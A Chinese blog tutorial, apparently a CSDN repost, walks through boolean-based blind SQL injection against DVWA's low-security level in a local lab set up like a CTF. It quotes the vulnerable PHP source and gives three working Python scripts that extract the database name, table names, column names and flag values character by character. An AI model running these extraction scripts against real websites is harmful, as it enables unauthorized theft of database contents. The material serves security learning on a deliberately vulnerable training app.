以dvwa为例学习简单sql布尔盲注的详细脚本

0x01 前置知识

1.SQL注入与SQL盲注

SQL注入:

  • 执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等
  • 一般在页面上直接就会显示执行sql语句的结果

SQL盲注:

  • 一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
  • 一般在页面上不会直接显示sql执行的结果
  • 有可能出现不确定sql是否执行的情况

2.SQL盲注分类

根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注

(1)对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
(2)对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
(3)对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

3.SQL盲注测试流程

SQL盲注的测试过程与DVWA的普通SQL Injection操作流程类似,大致测试流程如下:

  • 判断是否存在注入,注入的类型
  • 猜解当前数据库名称
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 获取表中的字段值
  • 获取数据库的其他信息:版本、用户…

4.Requests库的使用

在CTF中里,python脚本中最基本的就是requests库的使用,本文不过多介绍其使用方法,可参考以下官方文档,讲的很详细:快速上手——requests以及高级用法——request

0x02 前置工作

1.为了更贴近CTF比赛的模式,因此在dvwa的数据库中加入了flag,最终脚本的结果也是爆出flag
2.加了两个flag是为了更好体现脚本的功能
dvwa库中的表
在这里插入图片描述

0x03 Low SQL Injection (Blind)

1.测试分析

经过简单的测试之后发现,页面只会出现两种回显,即

  User ID exists in the database.

  User ID is MISSING from the database.
构造User ID取值的语句 回显结果
1 exists
MISSING
1 and 1=1 # exists
1 and 1=2 # exists
1’ and 1=1 # exists
1’ and 1=2 # MISSING
  • 满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database."
  • 两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注
  • 由最后两行构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注。

因为本文主要目的为脚本的编写,因此查看源码:

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 
  • 文本框输入并提交的形式,GET请求方式
  • 未作任何输入过滤和限制,攻击者可任意构造所想输入的sql查询

2.脚本编写

脚本中所用到的SQL语句与dvwa前面非盲注时语句差不多,可参考:dvwa之SQL注入(1)

扫描二维码关注公众号,回复: 8960862 查看本文章

(1)脚本一:爆库名、表个数、表名
我这里写的脚本是将当前数据库的所有表名都跑出来,实际在CTF比赛中,为节约时间可以不必这么做,因为一般包含flag的表名都会有特殊含义,只需要知道包含flag的表名即可。

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import requests

# 脚本里用到的参数
# databaseLen   库名长度
# databse_name  库名
# tableNum      表的数量
# tableLen      表名长度
# table_name    表名

s = requests.Session()

url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890' 
# 这里为节约时间只包含小写字母与数字,实际可能还有大写字母与符号

headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie

# 1.先爆破库名的长度,以提高后续循环的效率,也可以不爆破长度,直接爆破名称(只要循环数大于长度)
for j in range(1,50):
    databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#'
    # 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的
    if 'User ID exists in the database.' in s.get(url+databaseLen_payload, headers=headers).text:
        databaseLen = j
        break
print('database_lenth: '+str(databaseLen))

# 2.爆库名
databse_name = ''
for j in range(1,databaseLen+1):
    for i in payloads:
        databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'

        if 'User ID exists in the database.' in s.get(url+databse_payload, headers=headers).text:
            databse_name += i
print('database_name: '+databse_name)
        
# 3.爆破表的个数
for j in range(1,50):
    tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url+tableNum_payload, headers=headers).text:
        tableNum = j
        break
print('tableNum: '+str(tableNum))

# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0,tableNum):
    table_name = ''
    for i in range(1,50):
        tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
                # 用法substr('This is a test', 6) 返回'is a test'
        if 'User ID exists in the database.' in s.get(url+tableLen_payload, headers=headers).text:
            tableLen = i
            print('table'+str(j+1)+'_length: '+str(tableLen))
          
            # (2)内部循环爆破每个表的表名
            for m in range(1,tableLen+1):
                for n in payloads: # i在上个循环用过了
                    table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text:
                        table_name += n
            print('table'+str(j+1)+'_name: '+table_name)

脚本一的运行结果如下:
script1
(2)脚本二:爆列名
由脚本一得到的结果,很显然flag应该在‘flagishere’表中,因此脚本二只是针对此表来跑出其中所有的列名。

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 根据上个脚本得到的结果,此脚本用来跑出'flagishere'表中的字段

import requests

s = requests.Session()  # 保持回话

url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'

headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie

# 1.判断flgishere表中字段数目
columnNum = 0 
for j in range(50):
    columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'flagishere\')='+str(j)+' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url+columnNum_payload, headers=headers).text:
        columnNum = j
        break
print('columnNum: '+str(columnNum))

# 2.爆出每个字段名的长度
for j in range(0,columnNum):
    column_name = ''
    for i in range(1,50):
        columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
        if 'User ID exists in the database.' in s.get(url+columnLen_payload, headers=headers).text:
            columnLen = i
            print('column'+str(j+1)+'_length: '+str(columnLen))
          
            # (2)内部循环爆破每个表的表名
            for m in range(1,columnLen+1):
                for n in payloads: # i在上个循环用过了
                    column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url+column_payload, headers=headers).text:
                        column_name += n
            print('column'+str(j+1)+'_name: '+column_name)

脚本二运行结果如下:
script2
(3)脚本三:爆字段内容
由脚本二的结果得知,真正的flag应该在’flagishere’表中的’flag’列下,所有脚本三就跑出该列下每条记录的值,也就是最终的flag(这里为了展示脚本可以爆多条记录的功能,所以自己设置了两个flag)

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

# 根据上个脚本得到的结果,此脚本用来跑出'flagishere'表中的字段名为'flag'
# 所以此脚本用来爆破flag字段中的内容

import requests

s = requests.Session()  # 保持回话

url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890\{\}'

headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie

# 判断flag字段中记录(行)数量
rowNum = 0
for j in range(50):
    rowNum_payload = '?id=1\' and (select count(*) from flagishere)='+str(j)+' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
        rowNum = j
print("row_number: "+str(rowNum))


# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for j in range(0,rowNum+1):

    rowContent = ''
    for i in range(50):
       #rowLen_payload = '?id=1\' and length(substr(select flag from flagishere limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
        rowLen_payload = '?id=1\' and length(substr((select flag from flagishere limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
        if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:    
            rowLen = i
            print('row'+str(j+1)+'_length: '+str(rowLen))
            #爆出个字段内容
            for m in range(1,rowLen+1):
                for n in payloads:
                    rowContent_payload = '?id=1\' and substr((select flag from flagishere limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
                        rowContent += n  
            print('row'+str(j+1)+'_content: '+rowContent)  

脚本三运行结果如下:
script3

0x04 总结

由于是刚入门的小白,各方面都在起步之中,还有许多需要继续努学习的,尤其要提高自己的代码编写能力,关于sql注入的学习也还会继续。

发布了42 篇原创文章 · 获赞 31 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_42181428/article/details/88075784